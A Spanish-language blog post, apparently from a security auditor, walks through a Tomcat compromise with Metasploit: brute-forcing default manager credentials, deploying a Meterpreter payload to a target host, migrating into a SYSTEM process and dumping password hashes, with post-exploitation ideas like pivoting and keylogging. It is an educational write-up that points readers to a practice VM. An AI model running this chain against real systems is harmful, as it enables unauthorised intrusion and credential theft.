martes, 31 de agosto de 2010

Metasploit y credenciales comunes


Es común utilizar contraseñas comunes o por defecto en entornos de desarrollo y no preocuparse de dichos equipos ya que "no son equipos críticos" (pero un atacante podría acceder primero a un equipo final de usuario mediante un exploit para Adobe Reader y luego expandirse por la red).

Realizando una auditoría descubrí un equipo de desarrollo que tenía, entre otras cosas, un Tomcat con credenciales fácilmente adivinables.

Lo primero es cargar metasploit y buscar qué módulos y exploits tiene para tomcat:


Lo cargamos: 

msf > use auxiliary/scanner/http/tomcat_mgr_login

Si queremos leer acerca del módulo o exploit usaremos el comando info.

Procedemos a configurar las opciones (en caso de que queramos revisarlas usamos show options):

Configuramos el módulo para que pare en cuanto consiga una credencial válida y le indicamos el host:

Ya sólo queda lanzarlo y esperar:



Como vemos hemos encontrado un usuario válido, admin/admin, vamos a usarlo para subir una shell en Java...

msf auxiliary(tomcat_mgr_login) > use exploit/multi/http/tomcat_mgr_deploy

Y configuramos las opciones necesarias, incluído el payload a ejecutar:

msf exploit(tomcat_mgr_deploy) > set PASSWORD admin
PASSWORD => admin
msf exploit(tomcat_mgr_deploy) > set USERNAME admin
USERNAME => admin
msf exploit(tomcat_mgr_deploy) > set RHOST 10.1.100.89
RHOST => 10.1.100.89
msf exploit(tomcat_mgr_deploy) > set RPORT 8080
RPORT => 8080
msf exploit(tomcat_mgr_deploy) > set PAYLOAD windows/meterpreter/bind_tcp

Lanzamos el exploit y esperamos:


Ya tenemos la shell, ahora podemos hacer lo que se nos ocurra, en éste caso vamos a migrarnos a un proceso y obtener los hashes locales.

Usamos el comando ps para listar los procesos:

Seleccionamos uno que corra como NT AUTHORITY/SYSTEM y nos inyectamos en él con el comando migrate pid.

Una vez migrados extraemos los hashes con el comando hashdump:


meterpreter > run hashdump
[*] Obtaining the boot key...
[*] Calculating the hboot key using SYSKEY d19421987198b4ae5be0af480fbd8f...
[*] Obtaining the user list and keys...
[*] Decrypting user keys...
[*] Dumping password hashes...


Administrador:500:XXXXXXXXXXXXXXXXXXXXXXXXXXX:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX:::
Invitado:501:XXXXXXXXXXXXXXXXXXXXXXXXXXX:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX:::
Asistente de ayuda:1000:XXXXXXXXXXXXXXXXXXXXXXXXXXX:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX:::
SUPPORT_388945a0:1002:XXXXXXXXXXXXXXXXXXXXXXXXXXX:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX:::
usuario:1003:XXXXXXXXXXXXXXXXXXXXXXXXXXX:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX:::
SophosSAUDPC12:1009:XXXXXXXXXXXXXXXXXXXXXXXXXXX:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX:::
IUSR_PC12:1010:XXXXXXXXXXXXXXXXXXXXXXXXXXX:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX:::
IWAM_PC12:1011:XXXXXXXXXXXXXXXXXXXXXXXXXXX:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX:::
ASPNET:1012:XXXXXXXXXXXXXXXXXXXXXXXXXXX:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX:::
Otros

Otros usos que se le puede dar al meterpreter:

  • Subir un metasploit para ejecutarlo desde red interna
  • Sniffar en cualquier interfaz
  • Realizar enumeracion de usuarios
  • Crear un túnel con el que pivotar a la red interna
  • Keylogger
  • Y un largo etcétera

Para practicar con los módulos de Tomcat podemos usar la imágen virtual Metasploitable, además de tener un Tomcat como servicio dispone de unos cuantos servicios más para practicar con Metasploit.

Saludos y espero que os haya resultado interesante.

PD: Siento que las imágenes no sean todas del mismo tipo, pero algunas de las capturas he tenido que reproducirlas de nuevo...